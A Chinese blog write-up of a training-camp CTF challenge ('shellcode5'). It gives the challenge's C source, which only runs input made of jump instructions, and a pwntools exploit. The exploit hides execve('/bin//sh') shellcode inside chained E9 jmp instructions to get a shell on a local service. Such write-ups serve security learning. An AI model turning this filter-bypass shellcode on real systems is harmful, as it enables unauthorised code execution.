首页 > 系统相关 >暑期集训shellcode5(手搓机器码)

暑期集训shellcode5(手搓机器码)

时间:2024-07-16 16:29:56浏览次数:13  
标签:shellcode5 x90 暑期 x48 机器码 x01 x00 shellcode xE9

拖进ida里面反汇编再让人工智能分析(我是废物)(后来给源码了,直接上源码)

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <capstone/capstone.h>
#include <sys/mman.h>

int upkeep() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

int validate(char* ptr, size_t len) {
    csh handle;
    cs_insn *insn;
    int ret = 1;

    if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {
        return 0;
    }
    size_t count = cs_disasm(handle, ptr, len, 0, 0, &insn);
    size_t success_len = 0;
    if (count > 0) {
        for (size_t j = 0; j < count; j++) {
            ret &= insn[j].mnemonic[0] == 'j';
            success_len += insn[j].size;
        }
        cs_free(insn, count);
    } else {
        return 0;
    }

    cs_close(&handle);

    ret &= len == success_len;
    return ret;
}


int main() {
    upkeep();

    char code[4096];
    size_t n = read(0, code, 0x1000);
    if (n > 0 && validate(code, n)) {
        ((void (*)())code)();
    }
    return 0;
}

发现本题的逻辑是只能输入‘j’相关的(jmp)指令,先补一下这里的知识

jmp

思路

简单来说就是可以利用jmp从当前指令跳转并执行下一条指令,将getshell的过程一步步分解执行

在ida里面简单实践一下

我们可以看到从当前指令到下一条指令只需要E9 01 00 00 00即可,所以我们每一条指令前都要加上这段。
接下来就是上网找较短的shellcode改成汇编指令再改成机器码,注意E9后只跟4个字节的指令,若超过4个字节需要替换成同义短于4个字节的指令。

WP

from pwn import *

sh = remote('127.0.0.1',42213)
#sh = process("./shellcode5")
context(log_level = 'debug', os = 'linux', arch = 'amd64')

shellcode = '''
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xFF\x90

\xE9\x01\x00\x00\x00
\xE9\x48\x31\xF6\x90

\xE9\x01\x00\x00\x00
\xE9\x48\x31\xD2\x90

\xE9\x01\x00\x00\x00
\xE9\x48\x31\xC0\x90

\xE9\x01\x00\x00\x00
\xE9\x48\x31\xDB\x90

\xE9\x01\x00\x00\x00
\xE9\x50\x90\x90\x90

\xE9\x01\x00\x00\x00
\xE9\xB3\x68\x90\x90

\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08

\xE9\x01\x00\x00\x00
\xE9\xB3\x73\x90\x90

\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08

\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90

\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08

\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90

\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08

\xE9\x01\x00\x00\x00
\xE9\xB3\x6E\x90\x90

\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08

\xE9\x01\x00\x00\x00
\xE9\xB3\x69\x90\x90

\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08

\xE9\x01\x00\x00\x00
\xE9\xB3\x62\x90\x90

\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08

\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90

\xE9\x01\x00\x00\x00
\xE9\x53\x90\x90\x90

\xE9\x01\x00\x00\x00
\xE9\x48\x89\xE7\x90

\xE9\x01\x00\x00\x00
\xE9\xB0\x3B\x90\x90

\xE9\x01\x00\x00\x00
\xE9\x0F\x05\x90\x90'''

#gdb.attach(sh)
#pause()
shellcode=shellcode.replace('\n',' ')
shellcode=shellcode.replace(' ','')

#print(shellcode)
    
sh.send(shellcode)
sh.interactive()

注意要将空格和换行符都删掉
当然也可以写汇编代码()

标签:shellcode5,x90,暑期,x48,机器码,x01,x00,shellcode,xE9
From: https://www.cnblogs.com/V1V0/p/18305556

相关文章

  • 2024信友队蓝润暑期集训提高1班②Day1
    知识总结原理:每一步都采取局部最优解,取到最终的最优解。常见时间复杂度$O(n)$或$O(nlog(n))$后者一般带排序。用法:通过数据规模和题目信息联想贪心算法常见时间复杂度猜测结论验证合理性​-归纳法​-反证法(相邻交换法):如果交换方案中相邻的两个元素/任意......
  • 2024信友队蓝润暑期集训提高1班②Day0
    前言去年参加了杭师大的暑期集训,那时候还是普及1班①的小萌新,转眼间,现在已经在读提高组的知识了。这一次的安吉似乎景色更加优美。9:30从绍兴出发12:00到达安吉13:00吃中饭14:00在教室刷题、打比赛(当然也有部分时间在摸鱼)18:00吃晚饭19:00去大报告厅看开营仪式。......
  • 2024信友队蓝润暑期集训提高1班②Day3
    前言noip毒瘤给我们讲上午的知识知识总结题目T1【模板】单调栈题目描述题目描述:给出项数为n的整数数列a1…n,定义函数f(i)代表数列中第i个元素之后第一个大于ai的元素的下标,即f(i)=mini<j<=n,aj>ai{j}。若不存在,则f(i)=0。试求出f(1…n)。输入格式:第一行......
  • 2024信友队蓝润暑期集训提高1班②Day2
    知识总结转化、构造、模拟。转化:将算法转化为其他形式。构造:通过算法构造一个模型。模拟:通过算法模拟一个过程。随堂练习T1排行榜题目描述https://www.luogu.com.cn/problem/P1159思路解析显然这题可以直接贪心。把一首一首歌往排行榜上放。对于SAME的歌,直接放在原......
  • 2024信友队蓝润暑期集训提高1班②Day5
    知识总结最小生成树最小生成树的定义:在一个无向连通图中,找出权值最小的生成树,使得生成树中任意两个顶点间都有且仅有一条路径。最小生成树的性质:无向连通图的最小生成树是唯一的。最小生成树的权值是图中所有边的权值的最小值。最小生成树的边数等于图的顶点数减一。最小......
  • 2024信友队蓝润暑期集训提高1班②Day4
    知识总结搜索算法剪枝剪枝是指在搜索树的构造过程中,对某些分支不必继续探索,从而减少搜索树的大小,提高搜索效率。启发式搜索启发式搜索是指根据某种启发式函数对搜索树进行排序,使得搜索树中优先扩展那些有可能产生最优解的分支。迭代加深搜索迭代加深搜索是指在搜索树的构造......
  • 暑期集训经典栈溢出
    checksec看保护:NXida看一下(这是main函数)func1()func2()func3()func4()func5()先静态分析一波:进到func5()之后系统会给一个起始地址,从这个地址开始输入,判断一下rbp指的地址有没有被改掉,被改掉就fail了,而很直观的看出buf有溢出漏洞,程序中又有后门函数win,所以就将返......
  • 暑期集训ezret(学会看gdb)
    64位ida打开并反汇编的main():进入input_person函数:仔细看可以找到一个特别的函数名win,点进去发现是后门:根据ida看出程序的基本逻辑是输入name和age,输出age和name很多时候ida会抽风(bushi),就比如operater=里面的参数没给,不过没关系,我们可以猜(),可以看出input_person里面v11(age)......
  • 暑期特训——2023河南省赛
    A(模拟)题目大意输入输出题目思路枚举下标i,从左往右枚举,直到出现重复字符判断s[i+1:]是否是回文串注意:题目中说a和b是非空的题目代码fromsysimportstdin,setrecursionlimitsetrecursionlimit(100000)input=lambda:stdin.readline().strip()r1=lambda:......
  • 暑期观影 / 纪录片推荐
    前言推荐指数为\(1\sim6\)的整数,指数越高表示个人认为该影视作品更值得观看。纪录片《风味人间》:继《舌尖上的中国》后又一美食纪录片巨作,这次将镜头对准了全球,在观看美食的同时了解各地的地理特点、风土人情;(推荐指数:5)《航拍中国》:可以让你一边游览大美中国,一边学习地理知......